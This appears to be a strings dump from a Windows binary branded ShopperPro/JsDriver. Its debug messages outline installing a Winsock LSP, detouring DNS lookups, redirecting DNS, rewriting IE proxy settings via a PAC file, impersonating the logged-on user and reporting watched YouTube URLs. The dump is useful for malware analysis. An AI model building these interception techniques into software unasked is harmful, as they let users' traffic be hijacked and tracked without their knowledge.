[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CLoader::DisableDnsController] ___Error Disabling Dns Redirect Controller. LE: %X

[CLoader::ProcessTimeoutEvent] ___Warning: Unsupported event (%d)

[CLoader::AddRef] RefCount: %d

[CLoader::Release] RefCount: %d

[CLoader::UpdateVersionStatus] Status: %d (%d)

[CLoader::UnLoadRedirector] ___Error to Stop the Redirect Controller. LE: %d

[CLoader::GetMode] Engine Mode = %d

- m_ImpersonateDone = %d, m_DoLoadModules = %d m_UIRunning = %d

spCmd

[CLoader::DoStop] ___Error UnLoadMonitor - %X

[CLoader::DoStop] ___Error UnLoadRedirector - %X

[CLoader::DoStop] ___Error UnLoadProxy - %X

[CLoader::Load] Added %d m_nLSPConfChangedEvent

[CLoader::IsToLoadProxyModule] ___Error to Create IHttpEngineConfiguration

[CLoader::IsToLoadProxyModule] FALSE - Partner: %s

[CLoader::IsToLoadProxyModule] OEM: %s, Partner: %s

Monitor.dll

%d.%d.%d.%d

[CLoader::LoadProxy] ___Error: Failed To Create the proxy, CreateProxy: %d

[CLoader::RunLspInstaller] ___Error CreateProcess: %d

[CLoader::RunLspInstaller] CreateProcess: %s

\\.\pipe\VAPIPESERVERENG

[CLoader::RunPartnerCommTest] ___Error to create CommTest process. LE: %d

CommTest.exe

[CLoader::FixLSPStatus] Not going to fix LSP, it has been called %d times

[CLoader::CheckOurLSPStatus] Done.

[CLoader::CheckOurLSPStatus] ___Error CreateProcess: %d

[CLoader::CheckOurLSPStatus] CreateProcess: %s

[CLoader::CheckOurLSPStatus]

EmptyKey

[CLoader::InitCore] ___Warning - failed Open Current User Key - ProductInfo.m_hKeyRoot = ACCELERATOR_GLOBAL_KEY

3.3.9.3

[CLoader::InstallLsp] Done - %s

[CLoader::InstallLsp] Running second LSP installation method - %s

2.exe

[CLoader::SetLastTestSucceeded] InstalledLspVersion: %s

[CLoader::UnInstallLSP] Done - %s

Name: %s

Path: %s

Version: %s

%s_%d_%s.log

[CLoader::LoadModules] Already loaded, Status = %d, return...

[CLoader::ProcessEvent] ___Warning: Unsupported event (%d)

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - Added %d

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - LSP configuration has changed, event %d

[CLoader::ProcessEvent] m_UninstallLspProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Added %d m_nLSPConfChangedEvent

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Check if our LSP installed DONE, event %d

[CLoader::ProcessEvent] m_InstallLspProcess - GetExitCodeProcess returned: %d

[CLoader::ProcessEvent] m_CommTestSucceeded - Added %d m_nLSPConfChangedEvent

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

jsdrv.exe

config.xml

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

\\.\pipe\VAPIPESERVERUI

[CBaseProviderProc::WSPAccept] ___Warning m_ProcTable.lpWSPAccept is not initialized, calling WSAAccept

[CBaseProviderProc::WSPAddressToString] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSAAddressToString

[CBaseProviderProc::WSPAsyncSelect] ___Warning m_ProcTable.WSPAsyncSelect is not initialized, calling WSAAsyncSelect

[CBaseProviderProc::WSPBind] ___Warning m_ProcTable.lpWSPBind is not initialized, calling bind

[CBaseProviderProc::WSPCancelBlockingCall] ___Warning m_ProcTable.lpWSPCancelBlockingCall is not initialized, calling WSACancelBlockingCall

[CBaseProviderProc::WSPCloseSocket] ___Warning m_ProcTable.lpWSPCloseSocket is not initialized, calling closesocket

[CBaseProviderProc::WSPConnect] ___Warning m_ProcTable.lpWSPConnect is not initialized, calling WSAConnect

[CBaseProviderProc::WSPDuplicateSocket] ___Warning m_ProcTable.lpWSPDuplicateSocket is not initialized, calling WSADuplicateSocketW

[CBaseProviderProc::WSPEnumNetworkEvents] ___Warning m_ProcTable.lpWSPEnumNetworkEvents is not initialized, calling WSAEnumNetworkEvents

[CBaseProviderProc::WSPEventSelect] ___Warning m_ProcTable.lpWSPEventSelect is not initialized, calling WSAEventSelect

[CBaseProviderProc::WSPGetOverlappedResult] ___Warning m_ProcTable.lpWSPGetOverlappedResult is not initialized, calling WSAGetOverlappedResult

[CBaseProviderProc::WSPGetPeerName] ___Warning m_ProcTable.lpWSPGetPeerName is not initialized, calling getpeername

[CBaseProviderProc::WSPGetSockName] ___Warning m_ProcTable.lpWSPGetSockName is not initialized, calling getsockname

[CBaseProviderProc::WSPGetSockOpt] ___Warning m_ProcTable.lpWSPGetSockOpt is not initialized, calling getsockopt

[CBaseProviderProc::WSPGetQOSByName] ___Warning m_ProcTable.lpWSPGetQOSByName is not initialized, calling WSAGetQOSByName

[CBaseProviderProc::WSPIoctl] ___Warning m_ProcTable.lpWSPIoctl is not initialized, calling WSAIoctl

[CBaseProviderProc::WSPJoinLeaf] ___Warning m_ProcTable.lpWSPJoinLeaf is not initialized, calling WSAJoinLeaf

[CBaseProviderProc::WSPJoinLeaf]

[CBaseProviderProc::WSPListen] ___Warning m_ProcTable.lpWSPListen is not initialized, calling listen

[CBaseProviderProc::WSPRecv] ___Warning m_ProcTable.lpWSPRecv is not initialized, calling WSARecv

[CBaseProviderProc::WSPRecvDisconnect] ___Warning m_ProcTable.lpWSPRecvDisconnect is not initialized, calling WSARecvDisconnect

[CBaseProviderProc::WSPRecvFrom] ___Warning m_ProcTable.lpWSPRecvFrom is not initialized, calling WSARecvFrom

[CBaseProviderProc::WSPSelect] ___Warning m_ProcTable.lpWSPSelect is not initialized, calling select

[CBaseProviderProc::WSPSend] ___Warning m_ProcTable.lpWSPSend is not initialized, calling WSASend

[CBaseProviderProc::WSPSendDisconnect] ___Warning m_ProcTable.lpWSPSendDisconnect is not initialized, calling WSASendDisconnect

[CBaseProviderProc::WSPSendTo] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSASendTo

[CBaseProviderProc::WSPSetSockOpt] ___Warning m_ProcTable.lpWSPSetSockOpt is not initialized, calling setsockopt

[CBaseProviderProc::WSPShutdown] ___Warning m_ProcTable.lpWSPShutdown is not initialized, calling shutdown

[CBaseProviderProc::WSPStringToAddress] ___Warning m_ProcTable.lpWSPStringToAddress is not initialized, calling WSAStringToAddress

[CBaseProviderProc::WSPSocket] ___Warning m_ProcTable.lpWSPSocket is not initialized, calling socket

[CBaseProviderProc::WSPSocket] ___Error could not find protocol for af %d, type %d, protocol %d

[CBaseProviderProc::WSPSocket] ___Error not appropriate af %d

[CBaseProviderProc::WSPCleanup] ___Warning m_ProcTable.lpWSPCleanup is not initialized, calling WSACleanup

[CRedirectController::SetPassThrough]

[CRedirectController::GetTestingMode] %d

[CRedirectController::IsModeSupported] ___Error to Create IHttpEngineConfiguration

[CRedirectController::CRedirectController] ___Error to Create IHttpEngineConfiguration

IsOurPacFileExist: %s

[CRedirectController::IsOurPacFileExist] Existing Pac: %s - Applyed Pac: %s

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::UpdateTracerFromReg] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

vaproxy.pac

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CDnsController::SetRedirectFilter] Domain: %s

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

JsDriverService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

[CMutexLock::Open] ___Error %d, OpenMutex: %s

[CMutexLock::Open] ___Error %d, CreateMutex: %s

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

[CAcceleratorEvents::ReportStatistics]

[CAcceleratorEvents::OnReportNoAccelerationReason] %s

[CSaveWatchUrl::Work] Saving Info...

zvl=%s&

%s?e=%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

[CLspController::SetRedirectFilter] IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CLspController::SetVersionStatus] VesrionStatus = %d

[CLspController::GetVersionStatus] VesrionStatus = %d

[CLspController::UpdateVersionStatus] Status: %d (%d)

[CLspController::UpdateVersionStatus] New Status: %d

[CLspController::IsToAccelerate] Local ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Global ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Partner ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] iTunes ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] returns FALSE - status passthrough

[CLspController::IsToAccelerate] returns FALSE - g_PassThrough exists

[CLspController::IsToAccelerate] IP: %u.%u.%u.%u, Port: %u

[CLspController::StartAccelerationsEvent] ___Error OSSetEvent failed: %d

[CLspController::InitTunnelingState] g_PassThrough[ %s ] = %d

[CLspController::IsPartner] partner = %d

[CLspController::UpdateXMLRulesVersion] Version: %s (%s)

[CLspController::UpdateXMLRulesVersion] New Version: %s

[CLspController::IsIgnored] ---@@@ Port: %u @@@---

Downloader.exe

RecordingManager.exe

WebKit2WebProcess.exe

firefox.exe

iTunes.exe

[CLspController::DoLoad] Hook status %d

VVV.youtube.com

[CLspController::DoLoad] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::SetPassThrough] g_PassThrough[ %s ] = %d

PassThroughState

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData is Read-Only

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData == NULL

[CLspController::SetPassThrough]

[CLspController::UpdatedPartnerDisableList] PartnerDisableList = %s

[CLspController::CreateSharedMemory] ___Error CSharedMemory CreateCriticalSection: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::IsDomainExistInRules] Found - Template: %s

[CLspController::IsDomainExistInRules] Domain: %s

[CLspController::AddDnsResponse] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u, Ports: %u - %u

[CLspController::UpdateRedirectionIps] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

user32.dll

WININET.DLL

kernel32.dll

d/d/%d d:d:d::d

[CFullController::IsProxySupported] ___Error Create Proxy Controller

[CFullController::IsProxySupported] Create Proxy Controller...

[CFullController::SetPassThrough]

[CFullController::Init] ___Error to Create IHttpEngineConfiguration

[CFullController::Start] ___Error ProxyRes = %d, LspRes = %d

[CFullController::Stop] ___Error ProxyRes = %d, LspRes = %d

[CProxyController::SetVersionStatus] Status: %d -> %d

[CProxyController::GetVersionStatus] Status: %d

[CProxyController::Init] ___Error to Create IHttpEngineConfiguration

[CProxyController::IsAloud] FALSE - There is a pac file: %s

[HttpProxyServer::CreatePacFile] ___Error: ConfigPath::GetPath. LE: %d

[HttpProxyServer::CreatePacFile] ___Error: WriteRedirectRulesToPacFile. LE: %d

[CDriverManager::IoControl] DeviceIoControl failed: %d

[CDriverController::GetRedirectedConnectionInfo] ___Error GET_CONN %d

[CDriverController::GetRedirectedConnectionInfo] Port %d

[CDriverController::SetRedirectInfo] to port %d

[CDriverController::SetRedirectInfo] ___Error REDIRECT_ALL device %d

[CDriverController::SetRedirectInfo] ___Error SET_PORT device %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION mismatch R0 %d R3 %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION device %d

[CDriverController::SetRedirectInfo] ___Error open device %d

\\.\svd

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

RtmpListenPort

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\ShopperPro\JsDriver\%s\Original

SOFTWARE\ShopperPro\JsDriver\%s\Current

[CDnsProxyServer::is_in_redirection_rules] Found redirection Rule: %s

[CDnsProxyServer::load_dns_clients] IP: %s

[CDnsProxyServer::get_dns_servers] Dns Servers count: %d

[CDnsProxyServer::get_dns_servers] Dns Server: %s

[CDnsProxyServer::get_dns_servers] ___Error RegEnumKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] DhcpNameServer: %s

[CDnsProxyServer::get_dns_servers] NameServer: %s

[CDnsProxyServer::get_dns_servers] ___Error RegOpenKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] ___Error RegQueryInfoKey. LE: %d

[CDnsProxyServer::get_dns_servers] ___Error key: %s

SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces

[CDnsProxyServer::Start] ___Error CAsyncUdpSocketServer<CDnsProxyServer>::Start. LE: %d

[CDnsProxyServer::Start] Local IP: %d.%d.%d.%d

[CDnsProxyServer::Start] ___Error SafeGetHostByName. LE: %d, Host: %s

[CDnsProxyServer::Start] Host name: %s

[CDnsProxyServer::Start] ___Error gethostname. LE: %d

[CDnsProxyServer::dns_reverse_lookup] Name: %s

[CDnsProxyServer::dns_reverse_lookup] IP: %s

[CDnsProxyServer::add_dns_client] IP: %s

%u.%u.%u.%u

[CDnsProxyServer::is_dns_client] IP: %s

[CDnsProxyServer::save_dns_clients] IP: %s

[CDnsProxyServer::dns_send_reply] @@@ Found IP: %s @@@

[CDnsProxyServer::dns_send_reply] Domain: %s

[CDnsProxyServer::OnRecv] ___Error %x - SendTo timeout to the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - Select timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - RecvFrom timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - SendTo the client the response from the original server

[CDnsProxyServer::OnRecv] ___Error Got from the original dns server a packet with invalid size of %d

[CDnsProxyServer::OnRecv] ___Error %x - Open new socket to forward dns query

[CDnsProxyServer::OnRecv] unsupported opcode: %d

[CDnsProxyServer::OnRecv] DNS query: %s

[CDnsProxyServer::OnRecv] DNS query from client Host: %s, Port: %d

[CDnsProxyServer::OnRecv] Got packet with invalid size of %d

StartPortRange

EndPortRange

</URL>

<URL>

CAcceleratedEventsThread::OnReportNoAccelerationReason

0.0.0.0

%s%lld%s

%s%d%s

<EMBED><URL>

[CAcceleratedEventsThread::ReportEmbedStreaming]

[CAcceleratedEventsThread::ReportStatistics]___Error empty param : URL Acc Url = %s, Normal URL = %s

[CAcceleratedEventsThread::ReportStatistics] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Acc URL = %s

%s%s%s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Normal URL = %s

[CAcceleratedEventsThread::ReportVideoID] XML = %s

<WATCH><URL>%s</URL></WATCH>

[CAcceleratedEventsThread::ReportVideoID] URL = %s

YOUTUBE.COM/GET_VIDEO?VIDEO_ID=

[CAcceleratedEventsThread::ReportFailureReason] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode URL = %s

[CAcceleratedEventsThread::ReportFailureReason]___Error empty param : URL Acc Url = %s, AccFailureReason = %s

[CAcceleratedEventsThread::OnReportStatistics]

[CAcceleratedEventsThread::ReportAccelerations]

[CAcceleratedEventsThread] - Start the Pipe Clients to the Engine & UI

[CAcceleratedEventsThread::ProcessEvent] ___Warning: Unsupported event (%d)

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

[CDNSResponse::AnalyzeResponse] Found IP: %u.%u.%u.%u

[Mine_GetAddrInfoW] nodename: %S

[Mine_GetAddrInfoExA] pName: %s

[Mine_GetAddrInfoExW] pName: %S

[Mine_getaddrinfo] nodename: %s

[CDNSInterceptor::Detour] GetAddrInfoExW - %d

[CDNSInterceptor::Detour] GetAddrInfoExA - %d

[CDNSInterceptor::Detour] GetAddrInfoW - %d

[CDNSInterceptor::Detour] getaddrinfo - %d

[CDNSInterceptor::Detour] gethostbyname - %d

[CDNSInterceptor::Detour] ___Error LoadLibrary ws2_32.dll

ws2_32.dll

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

